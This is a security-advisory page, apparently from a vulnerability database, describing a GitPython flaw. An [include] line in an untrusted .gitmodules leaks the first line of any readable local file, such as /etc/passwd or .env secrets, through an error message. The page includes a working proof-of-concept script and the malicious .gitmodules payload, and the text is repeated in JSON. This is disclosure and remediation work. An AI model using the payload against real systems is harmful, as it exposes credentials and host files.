- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
GHSA-hmq2-w58f-27jc? No — that advisory is about the.gitmodulessubmodule name driving_module_abspath/os.makedirs()(creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the[include]directive in the same file reaching a config-parser read primitive — a different mechanism, different function, different impact class (content disclosure, not directory creation). - Is this the same bug as
GHSA-cwvm-v4w8-q58c(blind LFI)? No — that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives ingit/refs/symbolic.py's ref-name resolution feedingRepo.commit/tree/index.diff— an entirely different module and code path. This finding discloses actual file content viagit/config.py's include-directive resolution. - Is the impact overstated given only one line leaks? No — this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard
clone_from+list(repo.submodules)workflow. - Could the exception simply be silently swallowed by GitPython before reaching the caller? No — confirmed by reading
Submodule.iter_items()'s exception handling, which catches onlyIOError/BadName;configparser.MissingSectionHeaderErrorpropagates uncaught. - Verdict: no concrete blocker found. CONFIRMED — reproduced independently against both a throwaway secret file and
/etc/passwd.
Remediation
Pass merge_includes=False when constructing SubmoduleConfigParser in Submodule._config_parser() (git/objects/submodule/base.py), mirroring the existing fix in Repo.config_writer() (commit 41ecc6a4) — .gitmodules content is always attacker-controlled and should never be allowed to pull in include/includeIf directives. As defense in depth, GitConfigParser.read()'s include-path resolution should enforce that resolved include paths stay within the repository's own directory tree, and parsing-error messages (MissingSectionHeaderError/ParsingError) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.
Confidence
High. Root cause confirmed by direct code reading across both git/config.py and git/objects/submodule/base.py, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and /etc/passwd).
Proof-of-Concept source (gitpython-003-poc.py)
#!/usr/bin/env python3
"""
GITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped
inside a cloned repository -- can contain `[include] path = <any local path>`.
`Submodule._config_parser()` builds the parser used for `repo.submodules` (and
other submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`
without passing `merge_includes=False`, so the class default `merge_includes=True`
is inherited. GitConfigParser then opens the target file; if it isn't valid
git-config syntax (true of virtually any non-gitconfig file), Python's
`configparser.MissingSectionHeaderError` embeds the file's first line verbatim
in its exception message, which propagates out of the ordinary, read-only
`repo.submodules` call -- a non-blind local file content disclosure primitive.
Run:
PYTHONPATH="<repo>:<repo>/gitdb:<repo>/smmap" python3 gitpython-003-poc.py <workdir> <target-file>
Benign: reads only the given <target-file> (defaults to a throwaway secret file
created under <workdir> if omitted) and never writes/exfiltrates it anywhere
except printing it locally to prove the primitive. No destructive action.
"""
import os
import subprocess
import sys
def main():
workdir = sys.argv[1] if len(sys.argv) > 1 else "/tmp/gitpython-003-poc"
target_file = sys.argv[2] if len(sys.argv) > 2 else os.path.join(workdir, "secret.txt")
attacker_repo = os.path.join(workdir, "attacker-repo")
dest = os.path.join(workdir, "dest")
for p in (attacker_repo, dest):
os.makedirs(p, exist_ok=True)
if not os.path.exists(target_file):
os.makedirs(os.path.dirname(target_file), exist_ok=True)
with open(target_file, "w") as f:
f.write("TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\n")
subprocess.run(["git", "init", "-q", "-b", "main", attacker_repo], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.email", "a@example.com"], check=True)
subprocess.run(["git", "-C", attacker_repo, "config", "user.name", "Attacker"], check=True)
with open(os.path.join(attacker_repo, "file.txt"), "w") as f:
f.write("hello\n")
with open(os.path.join(attacker_repo, ".gitmodules"), "w") as f:
f.write(
'[submodule "totally-normal-dep"]\n'
"\tpath = vendor/dep\n"
"\turl = https://example.com/dep.git\n"
"[include]\n"
"\tpath = %s\n" % target_file
)
subprocess.run(["git", "-C", attacker_repo, "add", "file.txt", ".gitmodules"], check=True)
subprocess.run(["git", "-C", attacker_repo, "commit", "-q", "-m", "init"], check=True)
import git # gitpython under test
import configparser
repo = git.Repo.clone_from(attacker_repo, dest)
try:
subs = list(repo.submodules)
print("NOT VULNERABLE: no exception raised, submodules =", subs)
sys.exit(1)
except configparser.MissingSectionHeaderError as e:
msg = str(e)
print("VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:")
print(msg)
with open(target_file) as f:
first_line = f.readline().rstrip("\n")
if first_line in msg:
print("Confirmed: target file's first line is present verbatim in the exception message.")
sys.exit(0)
else:
print("NOT VULNERABLE: exception message did not contain the expected content")
sys.exit(1)
if __name__ == "__main__":
main()
| URL | Type | |||||||||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "gitpython",
"resource_purl": "pkg:pypi/gitpython@3.1.59",
"upstream_fixed_in": "3.1.59"
},
"package": {
"ecosystem": "Homebrew",
"name": "pygitup",
"purl": "pkg:brew/pygitup"
},
"ranges": [
{
"events": [
{
"introduced": "1.5.0"
},
{
"fixed": "2.5.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/gitpython@3.1.59",
"name": "gitpython",
"resource": "gitpython",
"strategy": "registry",
"subject_version": "3.1.59"
}
]
},
"details": "# [HIGH] Arbitrary local file content disclosure via `[include]` directive in untrusted `.gitmodules` (`SubmoduleConfigParser` never disables `merge_includes`)\n\n- **CWE:** CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)\n- **Affected component:** `git/objects/submodule/base.py`, `Submodule._config_parser()` (~line 273) constructing `SubmoduleConfigParser(fp_module, read_only=read_only)`; `git/config.py`, `GitConfigParser.__init__` (`merge_includes` default), `GitConfigParser.read()`/`_included_paths()` (include-path resolution, ~lines 630-685), `GitConfigParser._read()` (~line 493-498, `MissingSectionHeaderError`)\n- **Affected version:** GitPython at HEAD (`9729ed3b948f2bde09f1f188c5311e172212b67e`, 2026-08-05, VERSION `3.1.58`)\n\n## Reachability\n`GitConfigParser.__init__` defaults `merge_includes=True`: any config file it parses has its `[include]` (and, when a `repo=` is supplied, `[includeIf ...]`) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit `41ecc6a4` (\"Disable merge_includes in config writers\"), which passes `merge_includes=False` when `Repo.config_writer()` builds its parser (`git/repo/base.py`).\n\nThat fix never touched `Submodule._config_parser()`. This method builds the parser used for **every** read of a repo\u0027s submodule configuration \u2014 `repo.submodules`, `Submodule.iter_items()`, `Submodule.config()` \u2014 via `SubmoduleConfigParser(fp_module, read_only=read_only)`, passing neither `merge_includes=False` nor `repo=`. The `True` class default is therefore inherited unchanged, and `fp_module` here is `.gitmodules` \u2014 **the single most attacker-controlled config file in the entire codebase**, since it ships verbatim as tracked content inside any cloned repository.\n\n`GitConfigParser.read()`\u0027s include-path resolution (~line 662-680) performs no containment check: `osp.isabs(include_path)` short-circuits the path join entirely for an absolute path, and a relative path is joined with `osp.join(osp.dirname(file_path), include_path)` / `osp.normpath()`\u0027d with no check that the result stays under the repository. `~` is expanded via `osp.expanduser`. The only gate before opening is `os.access(include_path, os.R_OK)` \u2014 a readability check, not a path restriction.\n\nOnce opened, `GitConfigParser._read()` parses the target file as git-config INI. If the first non-blank/non-comment line is not a `[section]` header \u2014 true of virtually any non-gitconfig file (source code, `/etc/passwd`, `.env` files, credential files, logs, JSON/YAML) \u2014 it raises `configparser.MissingSectionHeaderError(fpname, lineno, line)`. Python\u0027s stdlib formats this exception\u0027s `str()` as `\"File contains no section headers.\\nfile: %r, line: %d\\n%r\" % (fpname, lineno, line)` \u2014 it embeds the **verbatim content** of that file\u0027s first line in the exception message. `Submodule.iter_items()` catches only `(IOError, BadName)`, not `configparser.Error`, so this exception propagates straight out of the ordinary, read-only `repo.submodules` call.\n\n## Root cause\nParity gap between two config-parser construction sites for the exact same footgun: `Repo.config_writer()` was hardened against `merge_includes` in 2023 (`41ecc6a4`); `Submodule._config_parser()` \u2014 which parses `.gitmodules`, content that is *always* attacker-controlled the moment a repository is cloned from an untrusted source \u2014 was never given the same treatment. (The submodule *write*-mode config parser at `git/objects/submodule/base.py` for `.git/modules/\u003cname\u003e/config` \u2014 a different, locally-generated file \u2014 has correctly passed `merge_includes=False` since 2022, underscoring that the omission for `.gitmodules` reads looks like an oversight rather than a considered exception.)\n\n## Exploit path\n1. Attacker crafts a repository whose `.gitmodules` contains a legitimate-looking `[submodule ...]` section plus:\n ```\n [include]\n \tpath = /etc/passwd\n ```\n (an absolute path bypasses any traversal reasoning entirely; a relative `../../../../etc/passwd`-style path works too).\n2. Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo\u0027s submodules: `list(repo.submodules)` (or any `for sm in repo.submodules`) \u2014 no `update()`, `init()`, or checkout of any kind required.\n3. `SubmoduleConfigParser` (inheriting `merge_includes=True`) follows the `[include]` directive, opens `/etc/passwd`, and `GitConfigParser._read()` raises `MissingSectionHeaderError` whose message embeds `/etc/passwd`\u0027s first line verbatim.\n4. This exception surfaces wherever the host application observes exceptions from GitPython \u2014 CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on `repo.submodules` \u2014 disclosing the targeted file\u0027s first line to the attacker (directly, or indirectly via any channel that echoes the error).\n\n## Impact\nNon-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first `MissingSectionHeaderError`), but that line very often *is* the secret \u2014 `.env` files (`DATABASE_URL=...`, `API_KEY=...`), single-line credential/token files, `/etc/passwd`\u0027s root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly **blind** `GHSA-cwvm-v4w8-q58c` (\"Blind local file inclusion\", CVSS 4.0, `git/refs/symbolic.py` ref-name resolution) \u2014 that advisory\u0027s own writeup states it cannot disclose content; this one does, verbatim, via a different module (`git/config.py`\u0027s include resolution).\n\n## Preconditions\n- Victim clones (or otherwise opens with GitPython) a repository whose `.gitmodules` is attacker-controlled \u2014 the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, \"audit this repo\" utilities \u2014 exactly the class of application GitPython itself is built for).\n- Victim performs any operation that touches `repo.submodules` \u2014 one of the most ordinary GitPython operations, requiring no submodule `update`/`init`/checkout.\n- No authentication/role requirement inside GitPython itself.\n\n## Evidence\n- `git/config.py` \u2014 `GitConfigParser.__init__` defaults `merge_includes=True`.\n- `git/objects/submodule/base.py:273` \u2014 `SubmoduleConfigParser(fp_module, read_only=read_only)` passes neither `merge_includes` nor `repo=`; `git blame` shows this call unchanged since the class was introduced, and `git show 41ecc6a4` confirms that commit touched only `git/repo/base.py`\u0027s `Repo.config_writer()`, never this call site.\n- `git/config.py` `_included_paths()`/`read()` (~630-685) \u2014 absolute include paths bypass the join/normpath entirely (`osp.isabs()` short-circuit); no repository-boundary containment check exists anywhere in this path.\n- `git/config.py` `_read()` (~493-498) \u2014 raises `cp.MissingSectionHeaderError(fpname, lineno, line)` with the raw file line embedded, matching Python stdlib `configparser`\u0027s own `__str__` behavior.\n- `Submodule.iter_items()` catches only `(IOError, BadName)` \u2014 `configparser.Error` (the base of `MissingSectionHeaderError`) is not swallowed.\n- PoC (`gitpython-003-poc.py`, embedded below) reproduces this end-to-end against this exact checkout via the public API only (`Repo.clone_from` + `list(repo.submodules)`, default arguments, no monkeypatching), against both a throwaway secret file and `/etc/passwd`.\n\n## False-positive check (adversarial re-read)\n- **Is this the same bug as `GHSA-hmq2-w58f-27jc`?** No \u2014 that advisory is about the `.gitmodules` submodule *name* driving `_module_abspath`/`os.makedirs()` (creating a git repository/module directory outside the working tree, a write/RCE-adjacent primitive via a completely different function). This finding is about the `[include]` directive in the *same file* reaching a config-parser read primitive \u2014 a different mechanism, different function, different impact class (content disclosure, not directory creation).\n- **Is this the same bug as `GHSA-cwvm-v4w8-q58c` (blind LFI)?** No \u2014 that advisory is explicitly documented by its own reporter as content-free/blind (existence-only), and lives in `git/refs/symbolic.py`\u0027s ref-name resolution feeding `Repo.commit`/`tree`/`index.diff` \u2014 an entirely different module and code path. This finding discloses actual file content via `git/config.py`\u0027s include-directive resolution.\n- **Is the impact overstated given only one line leaks?** No \u2014 this is an accurate scoping caveat already reflected in the severity/impact discussion, not a reachability blocker: attacker has full control over which path is targeted (absolute paths work unconditionally), requires zero interaction beyond the single most common submodule operation, and the PoC demonstrates a real, working end-to-end disclosure through the standard `clone_from` + `list(repo.submodules)` workflow.\n- **Could the exception simply be silently swallowed by GitPython before reaching the caller?** No \u2014 confirmed by reading `Submodule.iter_items()`\u0027s exception handling, which catches only `IOError`/`BadName`; `configparser.MissingSectionHeaderError` propagates uncaught.\n- Verdict: no concrete blocker found. **CONFIRMED** \u2014 reproduced independently against both a throwaway secret file and `/etc/passwd`.\n\n## Remediation\nPass `merge_includes=False` when constructing `SubmoduleConfigParser` in `Submodule._config_parser()` (`git/objects/submodule/base.py`), mirroring the existing fix in `Repo.config_writer()` (commit `41ecc6a4`) \u2014 `.gitmodules` content is always attacker-controlled and should never be allowed to pull in `include`/`includeIf` directives. As defense in depth, `GitConfigParser.read()`\u0027s include-path resolution should enforce that resolved include paths stay within the repository\u0027s own directory tree, and parsing-error messages (`MissingSectionHeaderError`/`ParsingError`) should avoid embedding raw file content when parsing a file the caller did not explicitly ask to open.\n\n## Confidence\nHigh. Root cause confirmed by direct code reading across both `git/config.py` and `git/objects/submodule/base.py`, cross-checked against the fix commit that hardened the sibling code path but not this one; exploit chain reproduced independently, twice, against the current HEAD (a throwaway secret file and `/etc/passwd`).\n\n\n## Proof-of-Concept source (`gitpython-003-poc.py`)\n\n```python\n#!/usr/bin/env python3\n\"\"\"\nGITPYTHON-003 PoC: `.gitmodules` -- fully attacker-controlled content shipped\ninside a cloned repository -- can contain `[include] path = \u003cany local path\u003e`.\n`Submodule._config_parser()` builds the parser used for `repo.submodules` (and\nother submodule reads) via `SubmoduleConfigParser(fp_module, read_only=...)`\nwithout passing `merge_includes=False`, so the class default `merge_includes=True`\nis inherited. GitConfigParser then opens the target file; if it isn\u0027t valid\ngit-config syntax (true of virtually any non-gitconfig file), Python\u0027s\n`configparser.MissingSectionHeaderError` embeds the file\u0027s first line verbatim\nin its exception message, which propagates out of the ordinary, read-only\n`repo.submodules` call -- a non-blind local file content disclosure primitive.\n\nRun:\n PYTHONPATH=\"\u003crepo\u003e:\u003crepo\u003e/gitdb:\u003crepo\u003e/smmap\" python3 gitpython-003-poc.py \u003cworkdir\u003e \u003ctarget-file\u003e\n\nBenign: reads only the given \u003ctarget-file\u003e (defaults to a throwaway secret file\ncreated under \u003cworkdir\u003e if omitted) and never writes/exfiltrates it anywhere\nexcept printing it locally to prove the primitive. No destructive action.\n\"\"\"\nimport os\nimport subprocess\nimport sys\n\n\ndef main():\n workdir = sys.argv[1] if len(sys.argv) \u003e 1 else \"/tmp/gitpython-003-poc\"\n target_file = sys.argv[2] if len(sys.argv) \u003e 2 else os.path.join(workdir, \"secret.txt\")\n\n attacker_repo = os.path.join(workdir, \"attacker-repo\")\n dest = os.path.join(workdir, \"dest\")\n for p in (attacker_repo, dest):\n os.makedirs(p, exist_ok=True)\n\n if not os.path.exists(target_file):\n os.makedirs(os.path.dirname(target_file), exist_ok=True)\n with open(target_file, \"w\") as f:\n f.write(\"TOP-SECRET-DB-PASSWORD=hunter2-actual-secret-value\\n\")\n\n subprocess.run([\"git\", \"init\", \"-q\", \"-b\", \"main\", attacker_repo], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.email\", \"a@example.com\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"config\", \"user.name\", \"Attacker\"], check=True)\n\n with open(os.path.join(attacker_repo, \"file.txt\"), \"w\") as f:\n f.write(\"hello\\n\")\n\n with open(os.path.join(attacker_repo, \".gitmodules\"), \"w\") as f:\n f.write(\n \u0027[submodule \"totally-normal-dep\"]\\n\u0027\n \"\\tpath = vendor/dep\\n\"\n \"\\turl = https://example.com/dep.git\\n\"\n \"[include]\\n\"\n \"\\tpath = %s\\n\" % target_file\n )\n\n subprocess.run([\"git\", \"-C\", attacker_repo, \"add\", \"file.txt\", \".gitmodules\"], check=True)\n subprocess.run([\"git\", \"-C\", attacker_repo, \"commit\", \"-q\", \"-m\", \"init\"], check=True)\n\n import git # gitpython under test\n import configparser\n\n repo = git.Repo.clone_from(attacker_repo, dest)\n\n try:\n subs = list(repo.submodules)\n print(\"NOT VULNERABLE: no exception raised, submodules =\", subs)\n sys.exit(1)\n except configparser.MissingSectionHeaderError as e:\n msg = str(e)\n print(\"VULNERABLE: MissingSectionHeaderError leaked file content via repo.submodules:\")\n print(msg)\n with open(target_file) as f:\n first_line = f.readline().rstrip(\"\\n\")\n if first_line in msg:\n print(\"Confirmed: target file\u0027s first line is present verbatim in the exception message.\")\n sys.exit(0)\n else:\n print(\"NOT VULNERABLE: exception message did not contain the expected content\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n\n```",
"id": "BREW-pygitup-CVE-2026-78675",
"modified": "2026-09-17T18:17:18Z",
"published": "2026-09-04T09:50:12Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7833-fr7j-v32q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-78675"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/pull/2211"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/commit/ef7568e3b317ce617eacda39b8b54dcdff8c3b5c"
},
{
"type": "PACKAGE",
"url": "https://github.com/gitpython-developers/GitPython"
},
{
"type": "WEB",
"url": "https://github.com/gitpython-developers/GitPython/releases/tag/3.1.59"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3785.yaml"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/gitpython-before-local-file-content-disclosure-via-gitmodules"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "GitPython: Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)",
"upstream": [
"PYSEC-2026-3785",
"CVE-2026-78675",
"GHSA-7833-fr7j-v32q"
]
}
BREW-SHALLOW-BACKUP-CVE-… (PYSEC-2026-3785)
Vulnerability from osv_homebrew – Published: 2026-09-04 10:00 – Updated: 2026-09-17 17:55 – Source website[HIGH] Arbitrary local file content disclosure via [include] directive in untrusted .gitmodules (SubmoduleConfigParser never disables merge_includes)
- CWE: CWE-200 (Exposure of Sensitive Information) / CWE-73 (External Control of File Name or Path)
- Affected component:
git/objects/submodule/base.py,Submodule._config_parser()(~line 273) constructingSubmoduleConfigParser(fp_module, read_only=read_only);git/config.py,GitConfigParser.__init__(merge_includesdefault),GitConfigParser.read()/_included_paths()(include-path resolution, ~lines 630-685),GitConfigParser._read()(~line 493-498,MissingSectionHeaderError) - Affected version: GitPython at HEAD (
9729ed3b948f2bde09f1f188c5311e172212b67e, 2026-08-05, VERSION3.1.58)
Reachability
GitConfigParser.__init__ defaults merge_includes=True: any config file it parses has its [include] (and, when a repo= is supplied, [includeIf ...]) directives followed and merged in. The maintainers already recognized this as dangerous for one specific case and fixed it in commit 41ecc6a4 ("Disable merge_includes in config writers"), which passes merge_includes=False when Repo.config_writer() builds its parser (git/repo/base.py).
That fix never touched Submodule._config_parser(). This method builds the parser used for every read of a repo's submodule configuration — repo.submodules, Submodule.iter_items(), Submodule.config() — via SubmoduleConfigParser(fp_module, read_only=read_only), passing neither merge_includes=False nor repo=. The True class default is therefore inherited unchanged, and fp_module here is .gitmodules — the single most attacker-controlled config file in the entire codebase, since it ships verbatim as tracked content inside any cloned repository.
GitConfigParser.read()'s include-path resolution (~line 662-680) performs no containment check: osp.isabs(include_path) short-circuits the path join entirely for an absolute path, and a relative path is joined with osp.join(osp.dirname(file_path), include_path) / osp.normpath()'d with no check that the result stays under the repository. ~ is expanded via osp.expanduser. The only gate before opening is os.access(include_path, os.R_OK) — a readability check, not a path restriction.
Once opened, GitConfigParser._read() parses the target file as git-config INI. If the first non-blank/non-comment line is not a [section] header — true of virtually any non-gitconfig file (source code, /etc/passwd, .env files, credential files, logs, JSON/YAML) — it raises configparser.MissingSectionHeaderError(fpname, lineno, line). Python's stdlib formats this exception's str() as "File contains no section headers.\nfile: %r, line: %d\n%r" % (fpname, lineno, line) — it embeds the verbatim content of that file's first line in the exception message. Submodule.iter_items() catches only (IOError, BadName), not configparser.Error, so this exception propagates straight out of the ordinary, read-only repo.submodules call.
Root cause
Parity gap between two config-parser construction sites for the exact same footgun: Repo.config_writer() was hardened against merge_includes in 2023 (41ecc6a4); Submodule._config_parser() — which parses .gitmodules, content that is always attacker-controlled the moment a repository is cloned from an untrusted source — was never given the same treatment. (The submodule write-mode config parser at git/objects/submodule/base.py for .git/modules/<name>/config — a different, locally-generated file — has correctly passed merge_includes=False since 2022, underscoring that the omission for .gitmodules reads looks like an oversight rather than a considered exception.)
Exploit path
- Attacker crafts a repository whose
.gitmodulescontains a legitimate-looking[submodule ...]section plus:[include] path = /etc/passwd(an absolute path bypasses any traversal reasoning entirely; a relative../../../../etc/passwd-style path works too). - Victim performs the extremely common, entirely read-only operation of enumerating a cloned repo's submodules:
list(repo.submodules)(or anyfor sm in repo.submodules) — noupdate(),init(), or checkout of any kind required. SubmoduleConfigParser(inheritingmerge_includes=True) follows the[include]directive, opens/etc/passwd, andGitConfigParser._read()raisesMissingSectionHeaderErrorwhose message embeds/etc/passwd's first line verbatim.- This exception surfaces wherever the host application observes exceptions from GitPython — CI logs, error pages, exception trackers, or any dependency-scanner/code-review-bot/hosting-platform tool built on
repo.submodules— disclosing the targeted file's first line to the attacker (directly, or indirectly via any channel that echoes the error).
Impact
Non-blind local file content disclosure (first line) of any file readable by the victim process, triggered purely by attacker-controlled repository content and one routine, read-only GitPython call. Bounded to one line per triggering file (parsing aborts at the first MissingSectionHeaderError), but that line very often is the secret — .env files (DATABASE_URL=..., API_KEY=...), single-line credential/token files, /etc/passwd's root entry for host fingerprinting. The primitive additionally serves as a generic error-based file-existence oracle for arbitrary host paths. This is materially stronger than the already-fixed, explicitly blind GHSA-cwvm-v4w8-q58c ("Blind local file inclusion", CVSS 4.0, git/refs/symbolic.py ref-name resolution) — that advisory's own writeup states it cannot disclose content; this one does, verbatim, via a different module (git/config.py's include resolution).
Preconditions
- Victim clones (or otherwise opens with GitPython) a repository whose
.gitmodulesis attacker-controlled — the default trust model for any tool that processes third-party repositories (dependency scanners, CI, code hosting/review bots, "audit this repo" utilities — exactly the class of application GitPython itself is built for). - Victim performs any operation that touches
repo.submodules— one of the most ordinary GitPython operations, requiring no submoduleupdate/init/checkout. - No authentication/role requirement inside GitPython itself.
Evidence
git/config.py—GitConfigParser.__init__defaultsmerge_includes=True.git/objects/submodule/base.py:273—SubmoduleConfigParser(fp_module, read_only=read_only)passes neithermerge_includesnorrepo=;git blameshows this call unchanged since the class was introduced, andgit show 41ecc6a4confirms that commit touched onlygit/repo/base.py'sRepo.config_writer(), never this call site.git/config.py_included_paths()/read()(~630-685) — absolute include paths bypass the join/normpath entirely (osp.isabs()short-circuit); no repository-boundary containment check exists anywhere in this path.git/config.py_read()(~493-498) — raisescp.MissingSectionHeaderError(fpname, lineno, line)with the raw file line embedded, matching Python stdlibconfigparser's own__str__behavior.Submodule.iter_items()catches only(IOError, BadName)—configparser.Error(the base ofMissingSectionHeaderError) is not swallowed.- PoC (
gitpython-003-poc.py, embedded below) reproduces this end-to-end against this exact checkout via the public API only (Repo.clone_from+list(repo.submodules), default arguments, no monkeypatching), against both a throwaway secret file and/etc/passwd.
False-positive check (adversarial re-read)
- Is this the same bug as
